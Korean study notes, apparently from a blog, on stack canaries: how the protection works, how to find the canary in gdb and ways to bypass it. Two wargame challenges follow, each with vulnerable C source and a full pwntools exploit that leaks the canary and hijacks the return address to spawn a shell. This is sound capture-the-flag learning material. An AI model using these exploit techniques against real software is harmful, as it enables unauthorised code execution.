Stack Buffer Overflow를 막는 보안기법이다.
스택 카나리를 함수 시작할 때 버퍼와 반환 주소 사이에 저장하고, 함수가 끝날 때 카나리 값이 변조됐는지 확인한다.

함수 시작과 끝에 위의 코드가 추가됨을 알 수 있다. 시작할 때 fs:0x28의 값을 저장하고, 끝낼 때 rbp-0x8의 가밧이 fs:0x28의 값과 일치하는지 확인한다. 일치하지 않으면 stack_chk_fail이 발생한다.
참고로 fs란,

즉, OS가 임의로 사용할 수 있는 레지스터라고 생각하면 될 것 같다.
1.2. 카나리 값 확인 (fs 값 확인)
arch_prctl(int code, unsigned long addr)
arch_prctl(ARCH_SET_FS, addr) // fs = addr
catch syscall arch_prctl
info register $rdi // ARCH_SET_FS 상수값
info register $rsi // TLS의 주소
watch *(TLS 주소 + 0x28)
참고: 카나리 시작값은 널 바이트. 카나리 값 유출 방지

1.3. 카나리 우회
1.3.1. Brute Force
1.3.2. TLS 접근
TLS 주소는 실행마다 바뀌지만, 실행 중에 TLS 주소를 알아낼 수 있다면 카나리 값 알아낼 수 있음
1.3.3. 스택 카나리 릭
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
buf 주소, buf와 rbp 거리도 준다.
그리고 총 2번의 입력이 존재한다. read, gets.
첫 번째 입력에서 카나리를 얻고, gets에서 카나리를 덮어야 한다.
2.2. 실행

2.3. exploit.py
from pwn import *
p = process("./r2s")
context.arch = 'amd64'
p.recvuntil(b"Address of the buf: ")
addr = int(p.recvline(), 16)
p.recvuntil(b"Distance between buf and $rbp: ")
size = int(p.recvline())
payload = b"A" * (size-7)
p.sendafter(b"Input:", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(size-8, b'A') + p64(canary) + b"A"*8 + p64(addr)
p.sendlineafter(b"Input: ", payload)
p.interactive()
생각보다 애를 많이 먹었는데, 일단 shellcode가 제대로 안 먹었다. 아마 64비트로 해야 되는데 32비트로 해서 그런 듯
자잘한 것들을 많이 봐줘야 할 것 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}

스택 프레임은 이런 느낌
일단 box 채워서 카나리 값 얻고 마지막에 name으로 리턴 주소 덮으면 될 것 같다.
3.2. 실행
disass로 살펴보면
box: rbp-0x88
name: rbp-0x48
canary: rbp-0x8
get_shell: 0x80486b9
근데 box가 box 크기만큼만 입력값을 받는데... 카나리에 닿을 수 있나?
찾아보니 box index는 범위 제한이 없기 때문에 카나리를 바로 읽어올 수 있다.



3.3. exploit.py
from pwn import *
#p = process("./ssp_001")
p = remote("host1.dreamhack.games", 16976)
e = ELF("./ssp_001")
canary = b""
get_shell = e.symbols['get_shell']
for i in range(4):
p.sendafter(b"> ", b"P")
p.sendlineafter(b"Element index : ", bytes(str(131-i), 'utf-8'))
p.recvuntil(b"is : ")
canary += p.recv(2)
canary = int(canary, 16)
payload = b"A" * 0x40 + p32(canary) + b"B" * 8 + p32(get_shell)
p.sendafter(b"> ", b"E")
p.sendlineafter(b"Name Size : ", bytes(str(len(payload)), 'utf-8'))
p.sendafter(b"Name : ", payload)
p.interactive()